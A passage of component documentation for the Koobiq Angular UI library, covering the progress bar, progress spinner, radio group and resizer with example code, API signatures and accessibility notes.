```

Or for determinate progress

```html
<kbq-progress-bar [mode]="'determinate'" [value]="30"></kbq-progress-bar>
```

**Example: Progress bar indeterminate** (`progress-bar-indeterminate`)

```ts progress-bar-indeterminate-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqProgressBarModule } from '@koobiq/components/progress-bar';

@Component({
    selector: 'progress-bar-indeterminate-example',
    imports: [
        KbqProgressBarModule
    ],
    template: `
        <kbq-progress-bar class="example-progress-bar" [mode]="'indeterminate'" />
    `,
    styles: `
        .example-progress-bar {
            margin-bottom: var(--kbq-size-m);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ProgressBarIndeterminateExample {}
```

##### color

Enum ('theme', 'contrast', 'contrast-fade', 'error')\
Default: 'theme'\
Sets the color of the filled part of the bar. The track keeps the same color in every variant.

```html
<kbq-progress-bar [color]="'theme'" [value]="30"></kbq-progress-bar>
<kbq-progress-bar [color]="'contrast'" [value]="30"></kbq-progress-bar>
<kbq-progress-bar [color]="'contrast-fade'" [value]="30"></kbq-progress-bar>
<kbq-progress-bar [color]="'error'" [value]="30"></kbq-progress-bar>
```

An empty, `null` or `undefined` binding falls back to `'theme'`, so a color that is not resolved yet
never leaves the bar invisible.

##### aria-label

Accessible name of the bar\
Default: taken from the a11y locale configuration

Bind it when the bar has no visible label of its own:

```html
<kbq-progress-bar [value]="30" aria-label="Uploading the archive"></kbq-progress-bar>
```

#### Content projection

`kbq-progress-bar-text` renders a label above the bar and `kbq-progress-bar-caption` renders a caption
below it. Both are optional and can be used together.

```html
<kbq-progress-bar [value]="30">
    <div kbq-progress-bar-text>Uploading the archive</div>
    <div kbq-progress-bar-caption>3 of 12 files</div>
</kbq-progress-bar>
```

The projected text also names the bar for assistive technology, and the caption describes it — the
component links them with `aria-labelledby` and `aria-describedby`. A bound `aria-label` takes
precedence over the projected text.

#### Accessibility

The host element carries `role="progressbar"`. In determinate mode it reports `aria-valuenow`
(the clamped `value`) together with `aria-valuemin="0"` and `aria-valuemax="100"`; in indeterminate
mode all three are omitted, which is how an unknown duration is expressed.

#### Theming

The color of a `<kbq-progress-bar>` can be changed by using the `color` property. By default, it uses
the theme's `theme` color.

An individual bar can also be restyled through the two custom properties it paints from:
`--kbq-progress-bar-fill` for the filled part and `--kbq-progress-bar-track` for the track. Override
those rather than the `--kbq-progress-bar-bar-*` tokens they default to: `contrast`, `contrast-fade`
and `error` each redeclare `--kbq-progress-bar-fill`, so overriding
`--kbq-progress-bar-bar-foreground` reaches only a bar left on the default color.

### API

#### Components

##### KbqProgressBar (component)

Horizontal indicator of the progress of an operation.

```ts
@Component({ selector: 'kbq-progress-bar' })
class KbqProgressBar extends KbqColorDirective {
    readonly id = input<string>(`kbq-progress-bar-${idIterator++}`);
    readonly value = input<number>(0);
    readonly mode = input<ProgressBarMode>('determinate');
    readonly ariaLabel = input<string | null>(null, {
        alias: 'aria-label'
    });
    readonly color = input<T | null | undefined>();
    get colorClassName(): string;
    setDefaultColor(color: T): void;
}
```

- `[id]`: `string` — Id of the host element. Generated when not supplied.
- `[value]`: `number` — Share of the work that is done, in the `[0, 100]` range. Ignored in indeterminate mode.
- `[mode]`: `ProgressBarMode` — Whether the bar reports `value`, or an operation whose duration is unknown.
- `[aria-label]`: `string | null` — Accessible name of the bar. Takes precedence over a projected `[kbq-progress-bar-text]`; when
  neither is given, the bar falls back to the `progressBar` name from the a11y locale.
- `[color]`: `T | null | undefined` — Color of the component. A value set in code holds until the input changes, and the default color is used
  while both are unset or falsy.
- `colorClassName`: `string` — current class name of color
- `setDefaultColor()`: `void` — this color will be used as a default value. For example [color]="'' | false | undefined | null".

#### Directives

##### KbqProgressBarCaption (directive)

Caption projected below the bar. Describes the bar for assistive tech: `KbqProgressBar` points its
`aria-describedby` at this element.

```ts
@Directive({ selector: '[kbq-progress-bar-caption]' })
class KbqProgressBarCaption {
    readonly id = input<string>(
        `kbq-progress-bar-caption-${captionIdIterator++}`
    );
}
```

- `[id]`: `string` — Element id. Generated when not supplied, so the bar can always reference it.

##### KbqProgressBarText (directive)

Label projected above the bar. Names the bar for assistive tech: `KbqProgressBar` points its
`aria-labelledby` at this element.

```ts
@Directive({ selector: '[kbq-progress-bar-text]' })
class KbqProgressBarText {
    readonly id = input<string>(
        `kbq-progress-bar-text-${textIdIterator++}`
    );
}
```

- `[id]`: `string` — Element id. Generated when not supplied, so the bar can always reference it.

#### Types

##### ProgressBarMode (type)

Whether the bar reports a known share of the work, or an operation whose duration is unknown.

```ts
type ProgressBarMode = 'determinate' | 'indeterminate';
```

## Progress spinner

- Entry point: `@koobiq/components/progress-spinner`
- NgModule: `KbqProgressSpinnerModule`
- Page: https://koobiq.io/en/components/progress-spinner/overview

### Overview

`<kbq-progress-spinner>` is a component that displays a progress indicator as a spinner.

#### Simple progress spinner

A `<kbq-progress-spinner>` element can be used on its own to create a sector progress with koobiq theme

```html
<kbq-progress-spinner></kbq-progress-spinner>
```

**Example: Basic progress spinner** (`progress-spinner-overview`)

```ts progress-spinner-overview-example.ts
import { afterNextRender, ChangeDetectionStrategy, Component, OnDestroy, signal } from '@angular/core';
import { KbqProgressSpinnerModule } from '@koobiq/components/progress-spinner';

const DELAY: number = 300;
const STEP: number = 4;
const MAX_PERCENT: number = 100;

@Component({
    selector: 'progress-spinner-overview-example',
    imports: [KbqProgressSpinnerModule],
    template: `
        <small [style.width.px]="40">{{ percent() }}%</small>
        <kbq-progress-spinner [value]="percent()" />
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class ProgressSpinnerOverviewExample implements OnDestroy {
    readonly percent = signal(0);
    private intervalId: ReturnType<typeof setInterval>;

    constructor() {
        afterNextRender(() => {
            this.intervalId = setInterval(
                () => this.percent.update((value) => (value + STEP) % (MAX_PERCENT + STEP)),
                DELAY
            );
        });
    }

    ngOnDestroy() {
        clearInterval(this.intervalId);
    }
}
```

#### Props

##### value

Displaying sector filling progress depends on this property\
The range of value is \[0, 100]\
Default: 0

This will fill 30% of the sector

```html
<kbq-progress-spinner [value]="30"></kbq-progress-spinner>
```

##### mode

Enum ('determinate', 'indeterminate')\
Default: 'determinate'

To show indeterminate progress

```html
<kbq-progress-spinner [mode]="'indeterminate'"></kbq-progress-spinner>
```

Or for determinate progress

```html
<kbq-progress-spinner [mode]="'determinate'" [value]="30"></kbq-progress-spinner>
```

**Example: Progress spinner indeterminate** (`progress-spinner-indeterminate`)

```ts progress-spinner-indeterminate-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqProgressSpinnerModule } from '@koobiq/components/progress-spinner';

@Component({
    selector: 'progress-spinner-indeterminate-example',
    imports: [KbqProgressSpinnerModule],
    template: `
        <kbq-progress-spinner class="layout-margin-right-s" size="big" mode="indeterminate" />
        <kbq-progress-spinner class="layout-margin-right-s" size="big" color="contrast" mode="indeterminate" />
        <kbq-progress-spinner size="big" color="contrast-fade" mode="indeterminate" />
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class ProgressSpinnerIndeterminateExample {}
```

### API

#### Components

##### KbqProgressSpinner (component)

Component that reports the progress of an ongoing operation.

```ts
@Component({ selector: 'kbq-progress-spinner' })
class KbqProgressSpinner extends KbqColorDirective {
    readonly id = input<string>(
        inject(_IdGenerator).getId('kbq-progress-spinner-')
    );
    readonly value = input<number>(0);
    readonly mode = input<ProgressSpinnerMode>('determinate');
    readonly size = input<ProgressSpinnerSize>('compact');
    readonly color = input<T | null | undefined>();
    get colorClassName(): string;
    setDefaultColor(color: T): void;
}
```

- `[id]`: `string` — Unique id of the spinner.
- `[value]`: `number` — Progress of the operation, in percent. Clamped to `[0, 100]` and only rendered in `determinate` mode.

  Anything that is not a number reads as `0`: the value feeds a `stroke-dashoffset` percentage, and a
  bare `numberAttribute` would turn a null binding into `NaN%`, which is not a length at all. The
  transform is typed rather than taking `unknown`, so `[value]="progress$ | async"` and `value="40"`
  keep type-checking while an object or an array stays a template type error.
- `[mode]`: `ProgressSpinnerMode` — Whether the spinner reports `value` or spins indefinitely.
- `[size]`: `ProgressSpinnerSize` — Size of the spinner.
- `[color]`: `T | null | undefined` — Color of the component. A value set in code holds until the input changes, and the default color is used
  while both are unset or falsy.
- `colorClassName`: `string` — current class name of color
- `setDefaultColor()`: `void` — this color will be used as a default value. For example [color]="'' | false | undefined | null".

#### Directives

##### KbqProgressSpinnerCaption (directive)

Directive that marks the caption of a progress spinner.

```ts
@Directive({ selector: '[kbq-progress-spinner-caption]' })
class KbqProgressSpinnerCaption {}
```

##### KbqProgressSpinnerText (directive)

Directive that marks the text of a progress spinner.

```ts
@Directive({ selector: '[kbq-progress-spinner-text]' })
class KbqProgressSpinnerText {}
```

#### Types

##### ProgressSpinnerMode (type)

Whether the spinner reports a known progress value or spins indefinitely.

```ts
type ProgressSpinnerMode = 'determinate' | 'indeterminate';
```

##### ProgressSpinnerSize (type)

Sizes supported by the progress spinner.

```ts
type ProgressSpinnerSize = Exclude<KbqDefaultSizes, 'normal'>;
```

## Radio

- Entry point: `@koobiq/components/radio`
- NgModule: `KbqRadioModule`
- Page: https://koobiq.io/en/components/radio/overview

### Overview

Radio buttons allow users to select from a set of mutually exclusive, related options.

#### States

##### Size

**Example: Radio size** (`radio-overview`)

```ts radio-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqRadioModule } from '@koobiq/components/radio';

@Component({
    selector: 'radio-overview-example',
    imports: [
        KbqRadioModule
    ],
    template: `
        <div class="kbq-text-big layout-wrap">
            <div class="layout-row layout-wrap" style="gap: 24px">
                <div class="example-radio-group">
                    <div id="radio-overview-normal-label" class="layout-margin-bottom-m kbq-form__label">Normal</div>
                    <kbq-radio-group aria-labelledby="radio-overview-normal-label">
                        <kbq-radio-button [checked]="true" [value]="'option_1'">William Anderson</kbq-radio-button>

                        <kbq-radio-button [value]="'option_2'">James Peterson</kbq-radio-button>

                        <kbq-radio-button [value]="'option_3'">Alexander Brown</kbq-radio-button>

                        <kbq-radio-button [value]="'option_4'">Benjamin Collins</kbq-radio-button>

                        <kbq-radio-button [value]="'option_5'">Nicholas Cooper</kbq-radio-button>
                    </kbq-radio-group>
                </div>
                <div class="example-radio-group">
                    <div id="radio-overview-big-label" class="layout-margin-bottom-m kbq-form__label">Big</div>
                    <kbq-radio-group aria-labelledby="radio-overview-big-label" [big]="true">
                        <kbq-radio-button [checked]="true" [value]="'option_1'">William Anderson</kbq-radio-button>

                        <kbq-radio-button [value]="'option_2'">James Peterson</kbq-radio-button>

                        <kbq-radio-button [value]="'option_3'">Alexander Brown</kbq-radio-button>

                        <kbq-radio-button [value]="'option_4'">Benjamin Collins</kbq-radio-button>

                        <kbq-radio-button [value]="'option_5'">Nicholas Cooper</kbq-radio-button>
                    </kbq-radio-group>
                </div>
            </div>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class RadioOverviewExample {}
```

##### Style

**Example: Radio style** (`radio-style`)

```ts radio-style-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqRadioModule } from '@koobiq/components/radio';

@Component({
    selector: 'radio-style-example',
    imports: [
        KbqRadioModule
    ],
    template: `
        <div class="kbq-text-big layout-wrap">
            <div class="layout-row layout-wrap" style="gap: 24px">
                <div class="example-radio-group">
                    <div id="radio-style-normal-label" class="layout-margin-bottom-m kbq-form__label">Normal</div>
                    <kbq-radio-group aria-labelledby="radio-style-normal-label">
                        <kbq-radio-button [checked]="true" [value]="'option_1'">William Anderson</kbq-radio-button>

                        <kbq-radio-button [value]="'option_2'">James Peterson</kbq-radio-button>

                        <kbq-radio-button [value]="'option_3'">Alexander Brown</kbq-radio-button>

                        <kbq-radio-button [value]="'option_4'">Benjamin Collins</kbq-radio-button>

                        <kbq-radio-button [disabled]="true" [value]="'option_5'">Nicholas Cooper</kbq-radio-button>
                    </kbq-radio-group>
                </div>
                <div class="example-radio-group">
                    <div id="radio-style-error-label" class="layout-margin-bottom-m kbq-form__label">Error</div>
                    <kbq-radio-group aria-labelledby="radio-style-error-label" [color]="colors.Error">
                        <kbq-radio-button [checked]="true" [value]="'option_1'">William Anderson</kbq-radio-button>

                        <kbq-radio-button [value]="'option_2'">James Peterson</kbq-radio-button>

                        <kbq-radio-button [value]="'option_3'">Alexander Brown</kbq-radio-button>

                        <kbq-radio-button [value]="'option_4'">Benjamin Collins</kbq-radio-button>

                        <kbq-radio-button [disabled]="true" [value]="'option_5'">Nicholas Cooper</kbq-radio-button>
                    </kbq-radio-group>
                </div>
            </div>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class RadioStyleExample {
    protected readonly colors = KbqComponentColors;
}
```

##### Content

**Example: Radio content** (`radio-content`)

```ts radio-content-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqRadioModule } from '@koobiq/components/radio';

@Component({
    selector: 'radio-content-example',
    imports: [
        KbqRadioModule,
        KbqFormFieldModule
    ],
    templateUrl: 'radio-content-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class RadioContentExample {
    isDisabled = false;
}
```

```html radio-content-example.html
<div class="kbq-text-big layout-wrap">
    <div style="gap: 24px" class="layout-row layout-wrap">
        <div class="example-radio-group">
            <div id="radio-content-text-label" class="layout-margin-bottom-m kbq-form__label">Text</div>
            <kbq-radio-group aria-labelledby="radio-content-text-label">
                <kbq-radio-button [checked]="true" [value]="'option_1'">William Anderson</kbq-radio-button>

                <kbq-radio-button [value]="'option_2'">James Peterson</kbq-radio-button>

                <kbq-radio-button [value]="'option_3'">Alexander Brown</kbq-radio-button>

                <kbq-radio-button [value]="'option_4'">Benjamin Collins</kbq-radio-button>

                <kbq-radio-button [disabled]="true" [value]="'option_5'">Nicholas Cooper</kbq-radio-button>
            </kbq-radio-group>
        </div>
        <div class="example-radio-group">
            <div id="radio-content-caption-label" class="layout-margin-bottom-m kbq-form__label">Text with Caption</div>
            <kbq-radio-group aria-labelledby="radio-content-caption-label">
                <kbq-radio-button [checked]="true" [value]="'option_1'">
                    William Anderson
                    <kbq-hint>Lawyer</kbq-hint>
                </kbq-radio-button>

                <kbq-radio-button [value]="'option_2'">
                    James Peterson
                    <kbq-hint>Programmer</kbq-hint>
                </kbq-radio-button>

                <kbq-radio-button [value]="'option_3'">
                    Alexander Brown
                    <kbq-hint>Biologist</kbq-hint>
                </kbq-radio-button>

                <kbq-radio-button [value]="'option_4'">
                    Benjamin Collins
                    <kbq-hint>Banker</kbq-hint>
                </kbq-radio-button>

                <kbq-radio-button [disabled]="true" [value]="'option_5'">
                    Nicholas Cooper
                    <kbq-hint>Writer</kbq-hint>
                </kbq-radio-button>
            </kbq-radio-group>
        </div>
    </div>
</div>
```

#### Usage examples

##### Radio Group

**Example: Radio group** (`radio-group`)

```ts radio-group-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqRadioModule } from '@koobiq/components/radio';

@Component({
    selector: 'radio-group-example',
    imports: [
        KbqRadioModule
    ],
    template: `
        <div id="radio-group-label" class="layout-margin-bottom-m kbq-form__label">Field label</div>
        <kbq-radio-group aria-labelledby="radio-group-label">
            <kbq-radio-button [checked]="true" [value]="'option_1'">Item 1</kbq-radio-button>

            <kbq-radio-button [value]="'option_2'">Item 2</kbq-radio-button>

            <kbq-radio-button [value]="'option_3'">Item 3</kbq-radio-button>

            <kbq-radio-button [value]="'option_4'">Item 4</kbq-radio-button>

            <kbq-radio-button [disabled]="true" [value]="'option_5'">Item 5 (Disabled)</kbq-radio-button>
        </kbq-radio-group>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class RadioGroupExample {}
```

##### Multiline

**Example: Radio multiline example** (`radio-multiline`)

```ts radio-multiline-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqRadioModule } from '@koobiq/components/radio';

type ExampleOption = { label: string; hint: string };

@Component({
    selector: 'radio-multiline-example',
    imports: [KbqRadioModule, KbqFormFieldModule],
    template: `
        <kbq-radio-group aria-label="Security practices">
            @for (option of options; track option) {
                <kbq-radio-button [checked]="$first" [value]="$index">
                    {{ option.label }}
                    <kbq-hint>{{ option.hint }}</kbq-hint>
                </kbq-radio-button>
            }
        </kbq-radio-group>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
        }

        .kbq-radio-group {
            max-width: 255px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class RadioMultilineExample {
    readonly options: ExampleOption[] = [
        {
            label: 'Regular software and operating system updates',
            hint: 'Updating software and operating systems regularly helps to patch vulnerabilities and enhance security measures against potential threats'
        },
        {
            label: 'Using strong and unique passwords',
            hint: 'Creating strong and unique passwords for each online account can enhance cybersecurity, as cyber attacks often exploit weak or stolen passwords'
        },
        {
            label: 'Implementing multi-factor authentication (MFA)',
            hint: 'Multi-factor authentication involves multiple identification forms before account access, reducing the risk of unauthorized access'
        }
    ];
}
```

##### Validation

To show a validation error, bind the group to a form control, apply `required` or `Validators.required`, and put the error text in a `kbq-error` inside the group.

To show the error at another moment, pass a matcher to the `errorStateMatcher` input: the example below shows the error only after the form is submitted. The matchers are described in the [Validation guide](https://koobiq.io/en/other/validation.md).

**Example: Radio validation** (`radio-validation`)

```ts radio-validation-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { ShowOnFormSubmitErrorStateMatcher } from '@koobiq/components/core';
import { KbqError, KbqHint } from '@koobiq/components/form-field';
import { KbqRadioModule } from '@koobiq/components/radio';

@Component({
    selector: 'radio-validation-example',
    imports: [ReactiveFormsModule, KbqRadioModule, KbqHint, KbqError, KbqButtonModule],
    template: `
        <form class="example-radio-validation layout-column layout-align-start-start layout-gap-l" [formGroup]="form">
            <div>
                <div id="radio-validation-label" class="layout-margin-bottom-m kbq-form__label">
                    Second sign-in factor
                </div>
                <kbq-radio-group
                    aria-labelledby="radio-validation-label"
                    formControlName="secondFactor"
                    [errorStateMatcher]="errorStateMatcher"
                >
                    <kbq-radio-button value="authenticator">Authenticator app</kbq-radio-button>
                    <kbq-radio-button value="security-key">Hardware security key</kbq-radio-button>
                    <kbq-radio-button value="sms">Code in a text message</kbq-radio-button>
                    <kbq-hint>Save without choosing to see the error</kbq-hint>
                    <kbq-error>Choose a second factor to protect the account</kbq-error>
                </kbq-radio-group>
            </div>

            <button color="contrast" kbq-button type="submit">Save</button>
        </form>
    `,
    // A fixed width keeps the centered example in place when the error, wider than the options, appears.
    styles: `
        .example-radio-validation {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-align-center-center layout-row layout-padding-l'
    }
})
export class RadioValidationExample {
    protected readonly form = new FormGroup({
        secondFactor: new FormControl<string | null>(null, Validators.required)
    });
    // Shows the error only after the form is submitted, not as soon as focus leaves the group.
    protected readonly errorStateMatcher = new ShowOnFormSubmitErrorStateMatcher();
}
```

#### Keyboard interaction

The component installs no key handlers of its own. The options are real `<input type="radio">`
elements sharing a `name`, so the browser supplies the whole interaction:

- A group is a **single** tab stop. `Tab` enters it at the checked option — or at the first enabled
  one when nothing is checked — and the next `Tab` leaves the group entirely.
- The arrow keys move between options **and select as they move**, so a group cannot be traversed
  without changing its value. Disabled options are skipped.
- `Space` selects the focused option.

Grouping follows `name` rather than the markup: buttons sharing a name are one tab stop even when
they sit in different containers, and a button used outside a group is named uniquely to itself and
is therefore its own tab stop.

#### Accessibility

A `kbq-radio-group` is announced as a `radiogroup`, which does not take its name from the options
inside it. Point it at the visible group label instead — write `aria-labelledby` (or `aria-label`)
directly on the element, the way you would on any other host:

```html
<div id="delivery-label" class="kbq-form__label">Delivery</div>
<kbq-radio-group aria-labelledby="delivery-label">
    <kbq-radio-button [value]="'pickup'">Pickup</kbq-radio-button>
    <kbq-radio-button [value]="'courier'">Courier</kbq-radio-button>
</kbq-radio-group>
```

A `kbq-hint` projected into a button is exposed as its description, not as part of its name, so an
option is announced by its own text and the caption is left for assistive technology to defer.

`[required]` on the group reaches the `radiogroup` as `aria-required`, and a group colored with the
error palette or in the error state reaches it as `aria-invalid`. The error and the hint of the group are announced as its description, together with an `aria-describedby` you set on the
group yourself.

`focus()` on a button — or on the group, which forwards to the checked option — accepts a
`FocusOrigin`. Pass `'keyboard'` when you move focus in response to a keyboard action, so the focus
ring is visible; the default `'program'` moves focus without one.

#### Name and native forms

Every group generates a unique `name`, and its buttons inherit it, so nothing has to be named by
hand. A button used outside a group falls back to an id unique to itself and is therefore
independent of every other ungrouped radio in the application.

Name the group explicitly when it has to participate in a native `<form>` submission: that name is
the field name in the payload, and a generated one changes between application loads. The button's
`value` is submitted as a string, so only string-like values round-trip.

#### Recommendations

- By default, it is recommended to use up to 7 options in a Radio Group.
- Use [Button Toggle](https://koobiq.io/en/components/button-toggle.md) for short options when there is sufficient horizontal space.
- If more than 7 options need to be displayed, it is better to use [Select](https://koobiq.io/en/components/select.md).
- If the selection involves two values and can be classified as boolean, use [Toggle](https://koobiq.io/en/components/toggle.md). Toggle applies changes instantly, without additional data saving.

### API

#### Components

##### KbqRadioButton (component)

```ts
@Component({ selector: 'kbq-radio-button', exportAs: 'kbqRadioButton' })
class KbqRadioButton extends KbqColorDirective {
    checked = input<boolean | undefined>();
    value = input<NonNullable<unknown> | null | undefined>();
    disabled = input<boolean | undefined>();
    required = input<boolean | undefined>();
    labelPosition = input<'before' | 'after' | undefined>();
    name = input<string | undefined>();
    readonly id = input<string>(this.uniqueId);
    readonly color = input<T | null | undefined>();
    readonly change = output<KbqRadioChange>();
    readonly inputElement: Signal<ElementRef<HTMLInputElement>>;
    radioGroup: KbqRadioGroup | null;
    readonly inputId: Signal<string>;
    get colorClassName(): string;
    focus(origin?: FocusOrigin): void;
    markForCheck(): void;
    onInputClick(event: Event): void;
    onInputChange(event: Event): void;
    setDefaultColor(color: T): void;
}
```

- `[checked]`: `boolean | undefined` — Whether this radio button is checked.
- `[value]`: `NonNullable<unknown> | null | undefined` — The value of this radio button.
- `[disabled]`: `boolean | undefined` — Whether the radio button is disabled. A button inside a disabled group is disabled as well.
- `[required]`: `boolean | undefined` — Whether the radio button is required. A button inside a required group is required as well.
- `[labelPosition]`: `'before' | 'after' | undefined` — Whether the label should appear after or before the radio button. Defaults to 'after'
- `[name]`: `string | undefined` — Analog to HTML 'name' attribute used to group radios for unique selection. Defaults to the
  parent group's name, or — outside a group — to an id unique to this button.
- `[id]`: `string` — A unique id for the radio button. If none is supplied — or `null` is bound explicitly — it is
  auto-generated, so a read always yields the id the element actually carries.
- `[color]`: `T | null | undefined` — Color of the component. A value set in code holds until the input changes, and the default color is used
  while both are unset or falsy.
- `(change)`: `KbqRadioChange` — Event emitted when the checked state of this radio button changes.
  Change events are only emitted when the value changes due to user interaction with
  the radio button (the same behavior as `<input type-"radio">`).
- `inputElement`: `Signal<ElementRef<HTMLInputElement>>` — The native `<input type=radio>` element
- `radioGroup`: `KbqRadioGroup | null` — The parent radio group. `null` when the button is used outside one.
- `inputId`: `Signal<string>` — ID of the native input element inside `<kbq-radio-button>`
- `colorClassName`: `string` — current class name of color
- `focus()`: `void` — Focuses the radio button.

  Routed through the `FocusMonitor` so the origin is recorded: the focus ring is keyed off
  `.cdk-keyboard-focused`, which a bare `element.focus()` never produces.
- `markForCheck()`: `void` — Marks the radio button as needing checking for change detection.

  Kept for back-compatibility. A button derives its state from signals, its own and its group's, so it
  re-renders on its own and nothing in the library calls this any more.
- `setDefaultColor()`: `void` — this color will be used as a default value. For example [color]="'' | false | undefined | null".

##### KbqRadioGroup (component)

Selection group for `KbqRadioButton`.

The host is a `radiogroup`, which is not a name-from-content role, so it reaches assistive
technology unnamed unless the consumer names it. Name it with a plain `aria-label` /
`aria-labelledby` attribute pointing at the visible group label: the host is the very element the
consumer writes, so an input aliased to the same name would only write back what is already there —
and would wipe an `[attr.aria-label]` binding, which never reaches the input.

To show a validation error, bind the group to a form control and put the error text in a `kbq-error` inside the
group. A `kbq-hint` put inside the group is shown under the options, below the error.

```ts
@Component({ selector: 'kbq-radio-group', exportAs: 'kbqRadioGroup' })
class KbqRadioGroup extends KbqColorDirective implements ControlValueAccessor, CanUpdateErrorState {
    readonly errorStateMatcher = input<ErrorStateMatcher>();
    readonly big = input<boolean>(false);
    readonly name = input<string>(
        inject(_IdGenerator).getId('kbq-radio-group-')
    );
    readonly labelPosition = input<'before' | 'after'>('after');
    value = input<NonNullable<unknown> | null | undefined>();
    selected = input<KbqRadioButton | null | undefined>();
    disabled = input<boolean | undefined>();
    readonly required = input<boolean>(false);
    readonly color = input<T | null | undefined>();
    readonly change = output<KbqRadioChange>();
    readonly errorState: Signal<boolean>;
    get radios(): QueryList<KbqRadioButton>;
    get colorClassName(): string;
    checkSelectedRadioButton(): void;
    updateErrorState(): void;
    focus(origin?: FocusOrigin): void;
    touch(): void;
    emitChangeEvent(): void;
    markRadiosForCheck(): void;
    setDefaultColor(color: T): void;
}
```

- `[errorStateMatcher]`: `ErrorStateMatcher` — An object used to control when the error state is shown.
- `[name]`: `string` — Name of the radio button group. All radio buttons inside this group will use this name,
  unless they were given one of their own.
- `[labelPosition]`: `'before' | 'after'` — Whether the labels should appear after or before the radio-buttons. Defaults to 'after'
- `[value]`: `NonNullable<unknown> | null | undefined` — Value of the radio button.
- `[selected]`: `KbqRadioButton | null | undefined` — Whether the radio button is selected.
- `[disabled]`: `boolean | undefined` — Whether the radio group is disabled
- `[required]`: `boolean` — Whether the radio group is required
- `[color]`: `T | null | undefined` — Color of the component. A value set in code holds until the input changes, and the default color is used
  while both are unset or falsy.
- `(change)`: `KbqRadioChange` — Event emitted when the group value changes.
  Change events are only emitted when the value changes due to user interaction with
  a radio button (the same behavior as `<input type-"radio">`).
- `errorState`: `Signal<boolean>` — Whether the radio group is in an error state.
- `radios`: `QueryList<KbqRadioButton>` — Child radio buttons.
- `colorClassName`: `string` — current class name of color
- `updateErrorState()`: `void` — Updates the error state based on the error state matcher.
- `focus()`: `void` — Moves focus to the checked radio button, or to the first enabled one when nothing is checked —
  the same rule the browser follows when the group is reached with `Tab`.
- `touch()`: `void` — Mark this group as being "touched" (for ngModel). Meant to be called by the contained
  radio buttons upon their blur.
- `emitChangeEvent()`: `void` — Dispatch change event with current selection and group value.
- `markRadiosForCheck()`: `void` — Marks every radio button of the group for a change-detection check.

  Kept for back-compatibility. A button derives `checked` and `disabled` from signals, its own and its
  group's, so it re-renders on its own and nothing in the library calls this any more.
- `setDefaultColor()`: `void` — this color will be used as a default value. For example [color]="'' | false | undefined | null".

#### Classes

##### KbqRadioChange (class)

Change event object emitted by KbqRadio.

```ts
class KbqRadioChange {
    source: KbqRadioButton;
    value: any;
    constructor(source: KbqRadioButton, value: any);
}
```

- `source`: `KbqRadioButton` — The KbqRadioButton that emits the change event.
- `value`: `any` — The value of the KbqRadioButton.
- `constructor()`
  - `source`: `KbqRadioButton` — The KbqRadioButton that emits the change event.
  - `value`: `any` — The value of the KbqRadioButton.

## Resizer

- Entry point: `@koobiq/components/resizer`
- NgModule: `KbqResizerModule`
- Page: https://koobiq.io/en/components/resizer/overview

### Overview

Directive for resizing an element in a specified direction using the mouse pointer.

**Example: Resizer overview example** (`resizer-overview`)

```ts resizer-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqIcon } from '@koobiq/components/icon';
import { KbqResizable, KbqResizer, KbqResizerSizeChangeEvent } from '@koobiq/components/resizer';

@Component({
    selector: 'resizer-overview-example',
    imports: [KbqResizer, KbqResizable, KbqIcon],
    template: `
        <div kbqResizable>
            <!-- disabled -->
            <div [kbqResizer]="[0, 0]" (sizeChange)="sizeChanged($event)"></div>

            <!-- disabled -->
            <div [kbqResizer]="[0, 0]" (sizeChange)="sizeChanged($event)"></div>

            <!-- disabled -->
            <div [kbqResizer]="[0, 0]" (sizeChange)="sizeChanged($event)"></div>

            <!-- disabled -->
            <div [kbqResizer]="[0, 0]" (sizeChange)="sizeChanged($event)"></div>

            <!-- disabled -->
            <div [kbqResizer]="[0, 0]" (sizeChange)="sizeChanged($event)"></div>

            <!-- right -->
            <div class="layout-row layout-align-end-center" [kbqResizer]="[1, 0]" (sizeChange)="sizeChanged($event)">
                <i kbq-icon="kbq-arrow-right_16"></i>
            </div>

            <!-- disabled -->
            <div [kbqResizer]="[0, 0]" (sizeChange)="sizeChanged($event)"></div>

            <!-- down -->
            <div class="layout-row layout-align-center-end" [kbqResizer]="[0, 1]" (sizeChange)="sizeChanged($event)">
                <i kbq-icon="kbq-arrow-down_16"></i>
            </div>

            <!-- right-down -->
            <div class="layout-row layout-align-end-end" [kbqResizer]="[1, 1]" (sizeChange)="sizeChanged($event)">
                <i kbq-icon="kbq-arrow-down-right_16"></i>
            </div>
        </div>
    `,
    styles: `
        :host {
            display: flex;
            height: 250px;
            padding: var(--kbq-size-m);
        }

        .kbq-resizable {
            display: grid;
            grid-template-columns: repeat(3, 1fr);
            grid-template-rows: repeat(3, 1fr);
            justify-content: space-between;

            max-height: 100%;
            max-width: 100%;
            width: 150px;
            height: 150px;
            min-width: 125px;
            min-height: 125px;

            border-radius: var(--kbq-size-border-radius);
            border: 2px solid var(--kbq-line-theme);
            background-color: var(--kbq-background-theme-fade);
            color: var(--kbq-foreground-theme);
            padding: var(--kbq-size-s);
        }

        .kbq-icon {
            color: inherit;
        }
    `,
